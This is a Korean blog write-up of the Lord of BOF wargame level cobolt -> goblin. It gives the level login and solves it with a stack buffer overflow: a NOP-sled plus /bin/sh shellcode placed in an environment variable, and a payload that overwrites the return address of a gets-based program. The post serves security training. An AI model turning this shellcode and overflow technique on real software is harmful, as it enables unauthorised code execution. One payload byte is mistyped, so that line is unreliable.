LOB cobolt -> goblin
ID : cobolt
Passwd : hacking exposed
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령을 이용해서 코드를 확인합니다.
gremlin에서는 strcpy를 이용해서 buffer에 복사 했다면 cobolt에서는 gets로 입력을 받으니 인자 전달 방식을 다르게 해주면 될 것 같습니다.
환경 변수에 셸코드를 등록해보겠습니다.
export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)
환경 변수의 주소를 알아내기 위해 코드를 짜고 실행하겠습니다.
환경 변수의 주소를 알아냈습니다.
메모리 구조를 확인하기 위해서 GDB로 디버깅 해봅시다.
스택 프레임을 16byte 할당해주네요.
메모리 구조는 이렇습니다.
| buffer(16) | SFP(4) | RET(4) |
payload를 구성해보겠습니다.
더미 20byte + Return Address 0xbfffcbd7로 변조
payload : (python –c print “A”*20 + “\xd7\xcb\xff\bf”’; cat) | ./goblin
원본 파일에 공격해보겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB wolfman -> darkelf Write up (0) | 2017.10.07 |
---|---|
LOB orc -> wolfman Write up (0) | 2017.10.07 |
LOB goblin -> orc Write up (0) | 2017.10.03 |
LOB gremlin -> cobolt Write up (0) | 2017.10.03 |
LOB gate -> gremlin Write up (0) | 2017.10.03 |